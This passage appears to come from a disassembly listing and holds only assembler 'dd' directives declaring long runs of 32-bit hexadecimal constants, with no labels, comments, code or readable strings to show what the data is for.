		dd 800AF138h, 97BD6CF4h, 17590Eh, 15ABF6C8h, 0E4D00326h
		dd 0F55C9100h, 6A39CA8Bh, 4B77FFh, 5D740599h, 4549EEBAh
		dd 8566E900h, 0E54D2C1Bh, 28AC0532h, 80F5899Dh,	8CC8762Ch
		dd 0EDE1A618h, 2BA6E28h, 0E25DD274h, 0DAC042BEh, 80002EE3h
		dd 92FAA783h, 3C56BEDh,	87A202CAh, 0A6E2C00Eh, 60BDBD61h
		dd 5C3158D1h, 218A1670h, 4B74C080h, 34CA0FEDh, 75567A1Eh
		dd 605830C0h, 1593C35h,	4DB285DEh, 0F7AE6FE6h, 71ECA011h
		dd 1BCDDC00h, 48EE8D4Bh, 0A3DAB7Dh, 0D8090658h,	899EF2h
		dd 3D4C4F2Eh, 30B8E31Dh, 80F18C3Dh, 8638D15h, 369CB13h
		dd 96B3A174h, 52C9ED9Ah, 3D41F81Bh, 0A8E74A03h,	0E8C372h
		dd 19515048h, 5E0F93B5h, 0FF466E00h, 3E7169CAh,	310A6092h
		dd 20BD3BBFh, 0C521EF0Eh, 0E3462001h, 42A41h, 0C36CF298h
		dd 7BF45849h, 0BBF00DE6h, 5BC7E505h, 2A813275h,	0E4E02278h
		dd 0F2CC0E9Fh, 0CA4074A5h, 800DBA4Fh, 0E2F19C00h, 3178B53Bh
		dd 1040007Ch, 7DDDC863h, 45009709h, 7484ED68h, 4C0A130Bh
		dd 760088D7h, 0C8FE27Bh, 491EBC4Eh, 0ECF06810h,	767354C5h
		dd 7D1A00DFh, 0CC503FE2h, 9F00811Ch, 9366EAC7h,	84ECFBh
		dd 79F0018Dh, 6067D198h, 0BFB65800h, 0DEB929E2h, 0CD43A19h
		dd 9C10372h, 9B62972Dh,	0A2680E8h, 79D88E00h, 561DCF93h
		dd 0E3C9187Bh, 0C68D1074h, 3E7CA400h, 97A170B4h, 0BE0500D4h
		dd 0DB8A7256h, 54008C7Dh, 6E019FF8h, 14D6C8h, 881F9115h
		dd 876DA550h, 80FF8D3Ah, 5462269Dh, 9079A824h, 0D03D0755h
		dd 0E0562014h, 44BC9242h, 9F45C800h, 9990FCF1h,	0D26A00E1h
		dd 5B46A856h, 0C879DF3Bh, 0E27B357Bh, 0C1265200h, 0EFC2A0E4h
		dd 0C73FC2Dh, 0D96B5C1Eh, 0BF079D10h, 0CB3362A5h, 5F5DF890h
		dd 0DF3800D6h, 809472C3h, 0F9247FCFh, 9D00436Dh, 2CA92663h
		dd 41D12483h, 0A89801ECh, 0E4F36F6Eh, 0A701E490h, 0E7D9811Eh
		dd 0F5C15639h, 3D34C0h,	0D0292BEEh, 0D51C9AFEh,	0DC9EEF00h
		dd 2F58CAEAh, 0A60C001Dh, 0FCA3CB44h, 8B00CDC7h, 3B282B36h
		dd 135DD831h, 64F45C9h,	297F669Fh, 1267A500h, 6AF4AE4Bh
		dd 72A0A01Fh, 4C7400ECh, 9C569890h, 0D4FBEB0Ch,	0E60094F2h
		dd 0E489199Ah, 83F7DCh,	0C804D7E1h, 8CC9138Dh, 7E069200h
		dd 990A6176h, 1D157CA8h, 5C0507A5h, 60FC08Bh, 4CDDB4E8h
		dd 2728A300h, 9D4ECD8Dh, 7C2779Fh, 56BF9851h, 617754h
		dd 780CE879h, 71BC8800h, 0C61DA920h, 453401F2h,	0E9703A65h
		dd 20AFF986h, 0DC00091Ch, 6B6EDF16h, 0E48AD533h, 0E1D9004Dh
		dd 7D9CA70Ch, 0C10019F5h, 8E6C241Fh, 2BA12F3h, 18A5EB49h
		dd 36E080C9h, 2F00A29Dh, 8894FDD9h, 69FA6Ah, 440A4E01h
		dd 0AAF55A3Bh, 8ED15F00h, 2D8A8620h, 1E6B0012h,	0A3E670FEh
		dd 6300B292h, 5CA6CFD1h, 3BE2F4Bh, 0B6E31464h, 60005699h
		dd 0CDE6FB25h, 30F77Fh,	1AC3C07h, 0FDA8DAB5h, 29183Ah
		dd 71C73DCCh, 6570F6h, 6964FC77h, 9CDB042Bh, 0DFD32100h
		dd 0A6296E13h, 0E6560043h, 0A177E5E2h, 0BD00C81Eh, 0F2E1C051h
		dd 454F4A8h, 72A379EEh,	85588069h, 0C00080ACh, 13661082h
		dd 21E1189h, 14E28F03h,	0AF83EA34h, 1CB396BFh, 0C3F57680h
		dd 8A2D2600h, 421B1680h, 2EDA00E0h, 15D6BACAh, 0B07A717Fh
		dd 6E1343FCh, 52002FBEh, 1E6A9EEDh, 2B8107E4h, 0B0F00F91h
		dd 0CBBD9643h, 565EA600h, 0B6B7B81Ch, 8C1E0E4Bh, 1F01F4DAh
		dd 0E873579Ah, 0C8F74A87h, 0C6002AAEh, 43FE1A62h, 0CF65ECh
		dd 0FAF5272Dh, 25E5696h, 0C480FF00h, 1924F64Dh,	38989223h
		dd 1FC219Fh, 8112E2F2h,	40A61E36h, 327DF3F8h, 0CB5BF800h
		dd 2F35CD93h, 0C37AA3h,	0E155AE50h, 0EFA2DE03h,	0E30EF901h
		dd 3052048Eh, 0F805F7C0h, 6F9100D5h, 22C8AE90h,	9490F5F1h
		dd 61E17E00h, 101D8451h, 147F0B80h, 80009305h, 9548712h
		dd 0DBD7E07h, 1CF195EEh, 18D09650h, 819A0024h, 0C28C3E66h
		dd 95049167h, 2FBD20C8h, 0F5009485h, 0FEC63278h, 37993CA2h
		dd 0FF08620Fh, 1D1049DFh, 38B23B01h, 5BA7C4B7h,	3B21670Fh
		dd 0AEE740FAh, 0EC269E46h, 0A0E200D3h, 0B5965E4Ch, 0B6243147h
		dd 41019629h, 53038CAAh, 4AE1C147h, 0B4D4355Fh,	0C49B00BAh
		dd 948F4E0Fh, 3400E8E2h, 9DFAD8D4h, 0BC2152h, 0B6A5AE08h
		dd 681EE72Ah, 1FBB434Ch, 8F00974h, 7B4D1A0Ch, 0AC920039h
		dd 1F2D485Dh, 50E47965h, 9B8F8A00h, 2B627F53h, 0DD56131Ch
		dd 24802FEh, 64E00B94h,	0F330AF46h, 0EA3CF12Eh,	0FC6C5AA2h
		dd 3A8E00FBh, 22CA7A17h, 0E0BA0310h, 5ACC90EEh,	630EE780h
		dd 0CEDC38h, 6EA3DE62h,	58308622h, 2503407Fh, 260729E9h
		dd 0E7FAF087h, 0F000FE5Bh, 8B191141h, 0B85F14h,	6765DD9h
		dd 65559DBDh, 3988AD48h, 8E15803Dh, 0FACDB495h,	34B1257h
		dd 0D6F4002Bh, 0C9ECC829h, 0F51CFB7Ah, 3E7BF8A3h, 0E9AC9CC0h
		dd 0B4218Eh, 285D33Ah, 0E024B0DDh, 2C1600E1h, 3210DEC8h
		dd 1702B40Dh, 47DB0582h, 0F1F44050h, 0BD950083h, 8008E12Dh
		dd 5A007553h, 91E361DFh, 57EB34h, 956C108Bh, 44ED9789h
		dd 0D290C712h, 1D493D00h, 74E228Dh, 6287D161h, 0ED64F0CFh
		dd 68038CE5h, 30FDAABDh, 91EA90FEh, 0EFFE38h, 6987E2E8h
		dd 0AC68A1F8h, 219AAB00h, 0DC369B26h, 99D32C1Eh, 2C110FB8h
		dd 0E5750290h, 0C0ED7C04h, 0CA4395h, 0EE794208h, 0B5208212h
		dd 0E6E56800h, 1AA9453Ah, 9D2E1FFFh, 964D4089h,	0DC7C7F10h
		dd 5B6A4700h, 0AA2FCD81h, 26B85Ah, 2DC0087Dh, 0E96DFB42h
		dd 86417700h, 23691C6Bh, 71AD0C29h, 4290E102h, 2C1FF820h
		dd 4024917Ch, 94A0FFE9h, 0F8D0D850h, 4AF03Ch, 0A84F3449h
		dd 0A49656h, 351E90B1h,	0A6D2D7AFh, 79404758h, 0DED99400h
		dd 0A446679Ch, 6C0E0718h, 0C3700171h, 0F5B085D0h, 940C4AF7h
		dd 0FE45DA56h, 23553FD6h, 3C02FE3Eh, 3FD2F0ABh,	1199D480h
		dd 0D000D7D5h, 6C663A91h, 0E1ACE5h, 1DF44ABFh, 0B6482DF3h
		dd 9E006BB0h, 2A74A189h, 90AC9D69h, 0EF390390h,	0F3C8D104h
		dd 0AFAE3FB0h, 0F2126602h, 604D3A93h, 0C278C4h,	8F6EEBB2h
		dd 0C262497h, 31B4DD09h, 334D81DAh, 36F0A5BBh, 8381246Bh
		dd 55003E8Bh, 0B7327BB1h, 0DCE1047Eh, 730999F4h, 80063Fh
		dd 49A4D4FCh, 0D27D7Bh,	0EFC07DA9h, 0CFC5D8A6h,	3870F000h
		dd 42A7BDAAh, 6B32070Dh, 4134E628h, 613D1D20h, 0B2D320C5h
		dd 6F44D41Eh
		dd 9B5E99C0h, 0F1682FF5h, 2E91C9h, 0B06BFFD0h, 4990430h
		dd 604EB80Eh, 950338C9h, 0EC740026h, 0C409B184h, 0C148DC42h
		dd 0E7B60028h, 0D6A876E9h, 542900E1h, 0A07A9A23h, 0C5264E45h
		dd 8112725Fh, 2F766400h, 0C79CDF2Dh, 0F3B4F1C8h, 0FAE9AE1Dh
		dd 0FD106019h, 904B080Eh, 7B4A00E1h, 0A065D721h, 5831784h
		dd 0EB5A73FCh, 0F81606h, 92785F75h, 230312C9h, 5C8EC390h
		dd 9F13FF28h, 0A426A069h, 1EA9003Bh, 53B3A7D2h,	0C005C25Bh
		dd 46AADEFFh, 8320C0AAh, 88F41033h, 93033898h, 9AA3C75Dh
		dd 6A709704h, 99D1B3h, 0ECF43DCAh, 0C601684Bh, 0DD148900h
		dd 1576280Ah, 5F430079h, 735AD3C1h, 0F090286h, 0B9C8Ah
		dd 0B2F1E9FEh, 39EFF256h, 0DE80656Fh, 0CAFCDF4Bh, 7600C526h
		dd 0F71E6984h, 0E8337CBDh, 864400A1h, 72F3A787h, 28002A8Fh
		dd 0DBE677EEh, 303690A5h, 0E51901B6h, 705C68E3h, 0A4383864h
		dd 0E20F240Eh, 8A7164A6h, 9213431Dh, 9C81DED7h,	0F00AC9C9h
		dd 0EB7811C4h, 960408C0h, 395EA3h, 53C9DF40h, 3BC1D807h
		dd 0C3CD4F07h, 38901549h, 79050B82h, 249C487Dh,	7443A408h
		dd 25A8F800h, 7304717h,	273810Ch, 6927F053h, 0B4F49132h
		dd 6FAABF00h, 0DBCDB859h, 0DF2801C4h, 0C8F9BCD4h, 8CEC431Ah
		dd 2D843C8h, 8486F603h,	0E8D3C408h, 18BAA67h, 0E9FEB63Bh
		dd 0C4E2285Bh, 0C277C971h, 217ADD00h, 0C5777CBBh, 422B00DFh
		dd 0F35283F0h, 9200681Ah, 0D974AC93h, 193658h, 0EA136B5Ch
		dd 0F629D2Fh, 60B2DF2Eh, 1C16CD00h, 0C4FB04Dh, 9B1BCF21h
		dd 0DC008D18h, 6BBB4C8Eh, 749C5FB3h, 4D35000Dh,	77A3557Eh
		dd 0FFEC971Dh, 33198200h, 3F599169h, 0D872003Ch, 0E193E716h
		dd 0C51683EAh, 6400C737h, 804AC25Ah, 45B0005h, 443225A6h
		dd 0C5F8156Eh, 7BABF40Ah, 2D00F52Bh, 3783B149h,	99320EB2h
		dd 0F006108h, 89F9808Fh, 0AB15E4Ch, 0A9636710h,	3A5AE105h
		dd 65349C80h, 5541267Ch, 2A87099Bh, 5992D480h, 0ABE8792Dh
		dd 2E6B2C39h, 4B8018ADh, 0A1815450h, 0C25C5156h, 597FD4h
		dd 5D45B497h, 4B47A89Bh, 62D68D00h, 0BAA68044h,	54D02C57h
		dd 0A715009Ch, 5C81E72h, 489CD6E8h, 35BCBF00h, 827E41EAh
		dd 0E9010444h, 90DCE8F3h, 2830DD5Eh, 0E0880E4Ch, 0C694BAFCh
		dd 8B34CC1Fh, 200418Dh,	0FE750BB0h, 53A5AD07h, 4CC054D6h
		dd 24EC7027h, 0ADBD8Dh,	7505D87Eh, 950EDBF4h, 303573h
		dd 0DC40BA02h, 7BC001F1h, 0AF3BFDA1h, 14C48059h, 2EA060E0h
		dd 98E6002Fh, 0D951AC50h, 15E6A525h, 0F48A5709h, 34150019h
		dd 695BDCh, 45997E1Dh, 0DD48E37Ah, 26373C1Eh, 0DC23A7C0h
		dd 1E2A75D1h, 80D4F10Ah, 4153E909h, 6400A625h, 858FD201h
		dd 0BFC40E4h, 24A35413h, 0C0A4A905h, 0B94480F4h, 6E92B11Fh
		dd 27B4BBC1h, 4DE4B2ACh, 0BAA7EA4h, 4218E538h, 29A12701h
		dd 51ABC84Ah, 7FDCDCA0h, 479F5B00h, 902F5E93h, 0B5FA078Ah
		dd 80C6269Eh, 6EFC8278h, 0F0328E1Fh, 5DCA21C0h,	7D9E69E8h
		dd 53C83DF1h, 0B6701372h, 0AB880067h, 0B592DFF5h, 76D1DA39h
		dd 0F979B902h, 404A1661h, 48FAA5B9h, 600098B6h,	66024112h
		dd 331C0A5Ch, 7880C52Ah, 4E3FDB17h, 0FBF426h, 0A6C6FEBh
		dd 3CB756BDh, 2588D80Eh, 2E6840F5h, 1345E2h, 4FE082B6h
		dd 3489AA8Ch, 0B002E900h, 563907EDh, 79FF01EBh,	0B1C00E12h
		dd 0A2D8C074h, 0BC3F930Fh, 69F2606Eh, 367EEB6h,	0CF74F687h
		dd 0A3A01B83h, 0DD008B03h, 0B7432606h, 372982h,	1A4D2BAAh
		dd 0A4FD0DDFh, 88078E0Ah, 660AD863h, 7C80CC3Dh,	78606DC7h
		dd 0DBA700E9h, 16E0EA33h, 9C0DE2Ch, 0F911D9CDh,	6D512CDFh
		dd 0DDE50150h, 0F15C4E1Ch, 145BD422h, 0EB213F01h, 0B61F17A2h
		dd 58C2CC40h, 420E00CCh, 0E7F8D1DFh, 6800289Ch,	1B2B4746h
		dd 2803878Fh, 4C876FBh,	0EBCBB997h, 0CF318059h,	30B8B1F6h
		dd 0AF1D4601h, 3F8E8B6h, 3FDF5E8h, 6BC44A63h, 3CB0CB05h
		dd 730030F4h, 8E329B69h, 0F8D92082h, 66101F2Ch,	31AA0060h
		dd 14C0C54h, 1BCB7807h,	0E9279A1Fh, 4A924FA0h, 0CEC13B48h
		dd 43B94100h, 0AE24D6D5h, 3C0D6D02h, 6025DA87h,	0FA5230h
		dd 761A0CC1h, 0F274C301h, 60226600h, 0BAF64D0Eh, 7AAD1630h
		dd 6E8A009Ch, 0B936C1E3h, 0CBFBDC1Fh, 2A782140h, 0D008D2h
		dd 0E7DEEE2h, 5ED88C0Dh, 21605860h, 3F7D3D9h, 9EE96914h
		dd 8AA08917h, 20C6A9C1h, 22105918h, 9178B551h, 0B3A8BA00h
		dd 487C35FBh, 0F060027h, 2F2D9061h, 1B179689h, 1200D560h
		dd 33C79B13h, 9F020091h, 0C3631DF6h, 48C0A167h,	6F58E4D1h
		dd 689EFD82h, 0FF2047B5h, 0C0278594h, 6CB785C7h, 0F0987A00h
		dd 0EFC53F68h, 300A7E6Ah, 56C0A044h, 53E5B624h,	58191E98h
		dd 9C50A19Eh, 50250F20h, 0AA10ADh, 7375A03Fh, 720B416Bh
		dd 987D3Eh, 0C3B82D63h,	1D8526E7h, 16E8DDh, 60599DE9h
		dd 45728152h, 9479C300h, 0BF092008h, 1517972h, 639C475Ch
		dd 604D1BCAh, 4600C03Fh, 153DBAA5h, 3A967B1Ah, 1F00725Ah
		dd 330DA35h, 323267D3h,	9C9DC1DBh, 77C60004h, 43540A0h
		dd 8B075990h, 0C5A3F9BBh, 0D008A1C3h, 111AB76h,	59C0208Fh
		dd 0C8D39D36h, 0CC00B524h, 0C9B6974Dh, 0E6036905h, 1520140h
		dd 0D124B06Dh, 0DFEE707Fh, 64685B07h, 608F8D37h, 0F5A395EFh
		dd 5056039Dh, 410EA0EBh, 865894D9h, 5ACCC790h, 5D1C0338h
		dd 6C561FF7h, 0E698C28Bh, 2E03A2ECh, 589BC94Ch,	0F408C99Eh
		dd 81079C8Dh, 0F6844220h, 4E14EEC1h, 0CA751120h, 10530980h
		dd 8CA98B24h, 0CCE9FDFDh, 0C53E2F6Ah, 837B780h,	0E4217Ch
		dd 7D20E983h, 6D5C0288h, 0AC0A52h, 9B60F4C1h, 31E99917h
		dd 0C709A6F6h, 61209D5Ch, 0EC6D4A40h, 0BF2C087h, 6EA3127Dh
		dd 0C29D6C85h, 0D0A18BCEh, 0FD113BB6h, 2556FC0Dh, 8DDE333h
		dd 0A4210087h, 17371133h, 1F31B473h, 0D95DE058h, 909E28C0h
		dd 2090047Ch, 0B0F685C6h, 90732FCh, 636B3C4Bh, 64D38921h
		dd 0C15A0898h, 4B7F1092h, 0B8FA0801h, 11527093h, 9EF82F71h
		dd 0D7A60FB6h, 0A1A057A4h, 24D3DBF0h, 92226A2Eh, 51D6800h
		dd 248F562Ch, 3200CCB4h, 0C30C780h, 6B37084Bh, 5C6460BBh
		dd 4B144F5Fh, 131D4160h, 0CD6058B1h, 29AA6F48h,	9DF10012h
		dd 8BB9F91Ch, 3159EC0h,	8881FFh, 0C3A01B82h, 195C73h, 7ACA4B23h
		dd 0F708146Ah, 0B313FF0Eh, 9E062078h, 542C4C99h, 74D6E8EAh
		dd 453C044Ah, 828C6DBFh, 0D8A3CE11h, 610088F8h,	0A9BF6E0Bh
		dd 0FBDE08h, 0C022ECFDh, 3254A264h, 0D50C9003h,	0E0F178FFh
		dd 2B5C3F7h, 8705D7F2h,	80A0F56Bh, 19D55423h, 0E330A8A8h
		dd 3D68EE00h, 2F52E88Ch, 249F490Ah, 16700503h, 3DF0A41Bh
		dd 867F6694h, 99945354h, 0DE5FF00h, 5D1A2857h, 46449087h
		dd 60F10270h, 1CA11794h, 4AC86400h, 120C6A5Ah, 92F83025h
		dd 568B7FE9h, 0E2EA8000h, 683E3595h, 0AC200989h, 5033659Dh
		dd 0DBD11E8h, 61571621h, 0FF1136CDh, 5D8073EBh,	8C035B53h
		dd 0BD238A4h, 90A90022h, 7DCE124Eh, 0E100C777h,	6C6AEEA0h
		dd 7CE7EBAAh, 0E91D01ECh, 9F5DA183h, 78C28AEh, 800AAA6Bh
		dd 61D9C0DEh, 0D6185Bh,	5822B168h, 20EF12FAh, 2932E09Ah
		dd 4CD4C048h, 4B130E44h, 88916B42h, 1A988327h, 0A2B0844Bh
		dd 22486D06h, 52E04A8h,	0B6823EE2h, 604C42D4h, 0AC365C3Bh
		dd 60F702BCh
		dd 0FDD11772h, 0DE11DA19h, 3BCC40EFh, 0DC126B04h, 0DC03BC33h
		dd 0EC710618h, 9CA34400h, 0C348CF9Fh, 723D0530h, 0AC4086F7h
		dd 2A38C5FCh, 3EA7C3Fh,	7390DC41h, 65A026E4h, 43490512h
		dd 213C75CCh, 261C48CAh, 9DC0700Eh, 216AF7E9h, 1988C47Fh
		dd 65260053h, 0E572DFE9h, 58E85C0Ch, 368985Fh, 0EBB3336Ch
		dd 6AEF01ECh, 60FA407Ch, 0C9211799h, 0CB91E9h, 0A54AD56Bh
		dd 1EB0DD4h, 114525E4h,	0A60E1854h, 0E8280032h,	10FE190Dh
		dd 0DC2010EAh, 8DC34192h, 885C9128h, 4D53BCF0h,	0D60CE894h
		dd 0B18254Ch, 74A40FF6h, 6A849462h, 0CE7493C7h,	6D9421h
		dd 0AD5F8E59h, 19C0F32Ah, 0FEC11F8h, 8A66019Ah,	9A57520h
		dd 0D988F80Dh, 0D3116C99h, 3B4B0880h, 0CE59B6Bh, 0F938859h
		dd 69704B00h, 40F7B060h, 0ABDB0643h, 0C889CA6Ch, 9DAA1009h
		dd 38B03067h, 0D131111h, 83BD8806h, 0F0117097h,	0A1408DB8h
		dd 6E571E02h, 680145FAh, 0A1CF130h, 692D8333h, 4D641C4h
		dd 85E98CFCh, 7CAA143h,	2A34F1Eh, 7CE0DE83h, 3126384Bh
		dd 0C4AC8C0Bh, 0E9E600A0h, 2CC045E6h, 5E2C9101h, 0E3035F46h
		dd 611DA42h, 0C047E9F1h, 3091263Ch, 1B46E0A0h, 2E9A002h
		dd 130676Bh, 88E38053h,	3EE1E93Eh, 823F820Eh, 455FB02Eh
		dd 805A1154h, 179E6103h, 22FF43F1h, 0BA6A00CEh,	0A57E884Ah
		dd 0DA7E8EDEh, 63085903h, 26586B86h, 1C684749h,	581A9412h
		dd 6B034C98h, 42589F52h, 81CA00B8h, 1F0978E9h, 19AC09E2h
		dd 2C02846Ah, 0FE05D18Ch, 25AE098h, 0F53336BDh,	0A852F882h
		dd 5B5DE900h, 0A1C71789h, 74031FB1h, 0DE13C9BCh, 33C61000h
		dd 8706F770h, 7F1DEDD4h, 18DE39h, 0A03BFD76h, 0A2181308h
		dd 43F9D10Ah, 79D200E7h, 1AB2B58Eh, 0E100B0BAh,	97F8B3C6h
		dd 6EF2D45h, 0FC2EBC5Fh, 6F06D96Ah, 0A1E5D572h,	4C6D58E1h
		dd 0D33BEE00h, 1844A98Ah, 8208715Dh, 4B6DFA6Bh,	1478B050h
		dd 49F0B1C5h, 0C211349Dh, 6703DA87h, 97717078h,	0ACA00ED2h
		dd 408ACF38h, 8255D9B0h, 0DCD3440h, 2E18DCA4h, 943096BDh
		dd 0A7AC80CEh, 0F530B604h, 4C8ECD9Dh, 3452FB84h, 337B9BC0h
		dd 0A58A2936h, 0B8EB80E0h, 729EE51Dh, 0DC10AB29h, 0C0A20100h
		dd 4A6A65AAh, 720438Dh,	5900E82Dh, 0F820E449h, 0B06E4F37h
		dd 0A18C00CEh, 0EFBC9D63h, 7891E6B0h, 7318D3D9h, 11286F70h
		dd 0A0AD9029h, 9C60C8C4h, 2107FA1Eh, 8F4B84AEh,	9DB291C0h
		dd 26ECAC81h, 12AC1142h, 7A708C36h, 15A9988h, 690B3911h
		dd 208D5B70h, 0DE28AA20h, 0AC52CCFCh, 30AEB228h, 360917D4h
		dd 4B2C7A86h, 2A89F8E8h, 0F98200DAh, 94F81E58h,	41E0C570h
		dd 0F83FB62Ch, 7EF03561h, 778C60h, 0FFE696B5h, 0A78B380Eh
		dd 0FC24AD2Eh, 0EAFC8401h, 504AAAC6h, 0E1C0AFC8h, 72B8F270h
		dd 55EACEh, 693FC871h, 0C591225h, 9F7E7601h, 0F611FAFDh
		dd 8C9C8448h, 12B2374Ch, 1CCB4E0Dh, 116F9803h, 64C20903h
		dd 2485BC4Eh, 3460AF44h, 0AC0E5448h, 89062E96h,	648C0217h
		dd 4B417FEEh, 2292E5CCh, 1822300h, 0D081135h, 544ADEh
		dd 48116D96h, 1D40682h,	70CE7D8Ah, 82C57EAAh, 80B10BF8h
		dd 6988807Ch, 80A0395Ah, 0D8A62118h, 6F5C0312h,	60EE6061h
		dd 58A917D4h, 0DFB000E9h, 0FF004AC6h, 0FA2C625Dh, 929E24D1h
		dd 3E380014h, 0BC31F21Ch, 0B9C0015Ch, 1F69CCF3h, 0BFB30410h
		dd 0D26CD590h, 0B0C48C08h, 11F7710Fh, 88F36018h, 0AC7F23h
		dd 5F6906EFh, 29A2E70h,	54345C29h, 0A060FD03h, 0F839AC17h
		dd 5034AD4h, 0E2BC68ABh, 0BCB6E4AEh, 700C823h, 0B36B3E4Bh
		dd 65D0B1B9h, 250C02Ch,	0EA01D6C6h, 158246Eh, 0B0706D87h
		dd 22632ECDh, 166404BCh, 1D5C0B70h, 80309180h, 0F44E8F3Eh
		dd 7E6092E5h, 34FC240Bh, 0DC4B02F0h, 6502FD66h,	79DC51B4h
		dd 608D1825h, 6C6A54F7h, 0B0C0B1B2h, 0BF54AA6h,	3F60025Eh
		dd 9713876Eh, 72AC28C1h, 31BBF2BCh, 0C2F820E7h,	8B535A0Ch
		dd 7FA1EBh, 5B3A669h, 722C9216h, 0A54FAC98h, 0BA3F7003h
		dd 0F043F06Dh, 98712DFh, 0B268C441h, 3026F2D4h,	0A2146E84h
		dd 5989FE6h, 5EAE68F8h,	90FD20CDh, 5FC8A04Bh, 0AE8055C0h
		dd 4FEC11h, 39F6515Ch, 130581FBh, 0D092141Dh, 0DE5F744h
		dd 29738E00h, 60888DF8h, 6DA64899h, 0B9E00178h,	77DFCD11h
		dd 0A3C44487h, 21240128h, 0EA7D0A01h, 9A843422h, 0BD2D2081h
		dd 620B12E2h, 23E83A57h, 918901CDh, 0DD77D4ACh,	1E588272h
		dd 84F744D6h, 90B20BCCh, 0C52F8E1h, 0EC0F5E7h, 50BC0F0Bh
		dd 0CC96381h, 4F97E0C8h, 0FDCCF901h, 1E940917h,	711424F4h
		dd 4C694805h, 20C501C9h, 4960C8C4h, 0E2E00E0Ah,	0A4BC750Fh
		dd 0A55DA969h, 24A2AC8Ch, 6830C2E2h, 2407009Ah,	0B2E66482h
		dd 654F8663h, 0A2913840h, 375E7133h, 903980F8h,	0EEEBCDC5h
		dd 94AA2300h, 0B0B97415h, 91032608h, 5A465E40h,	0E216AC00h
		dd 0E5818569h, 0BFDA4A00h, 5E68FAD6h, 0D6389C03h, 1B24471Fh
		dd 84FCC00h, 2AD1AA3Ah,	73E48ADCh, 1C623E1Dh, 0A55C7D01h
		dd 72021AFAh, 30CBF278h, 1101185Ah, 657FDF91h, 0E6E076F8h
		dd 24F4EA0h, 887BD458h,	2693D0D3h, 5EC8248Bh, 3EF279C0h
		dd 877501B5h, 0C1D6F96h, 72B18098h, 0E22BA939h,	0FD951EB0h
		dd 0C834177h, 501B2D46h, 58EAC4E8h, 26EFB100h, 0F7E97C2h
		dd 0DC76006Ch, 6792FD4h, 0E3002A60h, 98A7569Dh,	0B4035B9Ch
		dd 0C8465C30h, 0C16DFE1Fh, 28047E27h, 0E5ECC89Bh, 6516AC94h
		dd 0E0C15834h, 0FF00A125h, 0B03E4720h, 88205A93h, 14FCE0h
		dd 34CAE804h, 0A4F75569h, 74190301h, 0BD426C6Bh, 0A33AB041h
		dd 8C14E820h, 0F1E99F04h, 2628F6Ah, 67E088A0h, 0AD1F01E9h
		dd 7941DE11h, 0A2123AE3h, 26BC606Ch, 1057258Ch,	0A19CACA3h
		dd 3BD6DD98h, 4E1BAB1Fh, 0FC44C00h, 5B15575h, 6E68D53Ch
		dd 0B484811Fh, 1074299Dh, 5B0DCC96h, 9E81858Bh,	8121FD90h
		dd 6B3D4B06h, 81AC23ABh, 0CC4B0E35h, 7ABD5BC8h,	52F47BB8h
		dd 0CA05B4D4h, 8E9F924Ah, 0C05C8814h, 0AD2EE977h, 0BB3BC7F6h
		dd 0CF6B18CCh, 9A93F8F9h, 5DE014h, 9A6C17CAh, 96A72F26h
		dd 591E700Ah, 0ED74B0E9h, 51278118h, 7C8A58F2h,	0E8AF129Ch
		dd 0FA2442C0h, 7823C7A1h, 6BE106A8h, 182FBD5Ah,	886DC607h
		dd 42D1127Eh, 8C38C770h, 64202C27h, 88025E4Ch, 8A08A09h
		dd 0CBC802FAh, 0E02C4D60h, 76F659Eh, 0F212CC00h, 0C45908DCh
		dd 9F7E0571h, 5DB81EEDh, 48A06594h, 96F5C614h, 9F3F6679h
		dd 1CE401E2h, 62F802BBh, 0FC9C9BD8h, 945A0083h,	82E0F550h
		dd 6F74D210h, 0D4871A18h, 0F4F7B8h, 8B60F323h, 3BFC3D80h
		dd 713C272h, 848258D9h,	94CC89DCh, 693F1688h, 8174CCE1h
		dd 465E74BEh, 789000D3h, 0F960370Ch, 372039Eh, 0FCE969A7h
		dd 28CA31E9h, 8C59BC54h, 4924F800h, 40FD3B41h, 0D82E18C2h
		dd 47A0999Eh, 0F1FFAB03h, 0EE8CA3h, 30A88B59h, 0E30F38F9h
		dd 31751A04h, 9CE29EACh, 2D061E04h, 1280E725h, 98A4DCCCh
		dd 12C0303Fh, 0D8770338h, 0F0923B98h, 8B43AAEAh, 12C0C9C8h
		dd 4C6B414Bh, 91E0200Bh, 0E5004B19h, 84F977FAh,	13CA36h
		dd 6A24D8B2h, 0D1767CCBh, 18FD7206h, 84B1390Eh,	1106F864h
		dd 0C194E48Dh, 2234FF38h, 10033180h, 0C2F86913h, 0E440F0A2h
		dd 5460C4D6h, 0B5BD3F20h, 5250B6E0h, 0B850345Bh, 0AE0901E5h
		dd 959207D8h, 8723ECA1h
		dd 0FCF7C402h, 95AD7BBCh, 8EBB912Ch, 0DB3580A3h, 9E9F1637h
		dd 1095CB80h, 0A180D391h, 0F80D0E1Dh, 857D9CA6h, 2E628B00h
		dd 2881A911h, 21F11778h, 80A81DC9h, 795D8A3h, 2CE8C46Bh
		dd 3E202E60h, 733BC1h, 9118EE29h, 3859E31Ch, 0F3110100h
		dd 78BB5B08h, 37FE0094h, 2F02348Fh, 8AE60B46h, 0FF8BC100h
		dd 0FEE73BB9h, 0EAF1B2Ah, 0BEE152DBh, 80C6D9ABh, 812F1118h
		dd 60956098h, 69D19880h, 0A03171Dh, 72643DC4h, 0F80830C5h
		dd 1D7131B9h, 9DC610Eh,	7AE6099h, 5C1A3Eh, 0ECE4DB24h
		dd 12541926h, 1DCE6106h, 0F1BCAAh, 0B8FEE21Bh, 31DD7E6Ch
		dd 0A2BE4600h, 99E678Fh, 0F181CF03h, 25FDD703h,	48D83F8Bh
		dd 6B01E526h, 7A513B77h, 298182A9h, 886FAAD5h, 1C72D0ABh
		dd 47632D03h, 74CFB0Bh,	6A291DE8h, 9138CD53h, 6C8099E8h
		dd 1C0A121Dh, 0FF223243h, 1D74D600h, 0CD9B8AA9h, 303900BBh
		dd 10E5FBD3h, 8C197A65h, 8188510Bh, 604B6BF0h, 0BD9D682Eh
		dd 3184C25h, 7F88472Bh,	0D2B328A8h, 0F1E606B8h,	3865F66Eh
		dd 3CD82800h, 1E45C94Ah, 0FF521925h, 800B08D5h,	4A040121h
		dd 3E546BCEh, 0F8518808h, 3A9BFFDCh, 60639BFh, 317BDA36h
		dd 0BB0050F2h, 1A29BD20h, 506004B6h, 0F028545Ch, 0C35B00D1h
		dd 2B07AB4Eh, 0B814A6C4h, 1090A791h, 81DD66CFh,	0C0A181Dh
		dd 0C004228Bh, 4F1D6ED4h, 0AA5C00B2h, 0B7EAB485h, 7F015FE6h
		dd 505B7857h, 7C23C182h, 0C73029B2h, 0C6B0C5h, 97459224h
